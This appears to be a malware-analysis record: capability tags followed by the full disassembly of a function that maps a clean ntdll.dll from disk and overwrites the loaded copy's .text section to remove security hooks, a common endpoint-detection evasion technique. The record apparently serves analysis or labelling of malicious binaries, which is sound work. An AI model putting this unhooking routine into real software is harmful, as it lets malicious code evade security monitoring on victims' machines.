Function at 0x14009e9a0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Overwrite dll .text section to remove hooks
Read file via mapping
Resolve function by parsing pe exports

Disassembly:
push rdi
sub rsp, 0xf0
mov rax, qword [0x1401cf518]
xor rax, rsp
mov qword [rsp + 0xe0], rax
lea rdx, [0x14015527c]
lea rcx, [rsp + 0xa0]
call fcn.140003570
nop
lea rdx, [rsp + 0xa0]
lea rcx, [0x1401d7c10]
call fcn.1400bc030
mov byte [rsp + 0x48], al
lea rcx, [rsp + 0xa0]
call fcn.140003860
movzx eax, byte [rsp + 0x48]
test eax, eax
je 0x14009ea0a
lea rcx, str._nUnhookNtdll
call fcn.14000ad70
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0xc0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [0x140155298]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x88], rax
mov r9d, 0x18
lea r8, [rsp + 0xc0]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x68]
call sub.KERNEL32.dll_K32GetModuleInformation
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.c:windows_system32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x1000002
xor edx, edx
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
xor eax, eax
mov word [rsp + 0x44], ax
jmp 0x14009eb39
movzx eax, word [rsp + 0x44]
inc ax
mov word [rsp + 0x44], ax
movzx eax, word [rsp + 0x44]
mov rcx, qword [rsp + 0x60]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x14009ec83
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x60]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rsp + 0x44]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
lea rdx, str..text
mov rcx, rax
call fcn.14010e910
test eax, eax
jne 0x14009ec7e
mov dword [rsp + 0xd8], 0
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0xd8]
mov r8d, 0x40
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14009ebd6
mov byte [rsp + 0x40], 1
jmp 0x14009ebdb
mov byte [rsp + 0x40], 0
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x49], al
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x70]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x50]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x58]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x98], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x98]
mov rcx, rax
call fcn.140103030
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0xd8]
mov r8d, dword [rsp + 0xd8]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14009ec6e
mov byte [rsp + 0x41], 1
jmp 0x14009ec73
mov byte [rsp + 0x41], 0
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x49], al
jmp 0x14009ec83
jmp 0x14009eb2c
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140101e00
add rsp, 0xf0
pop rdi
ret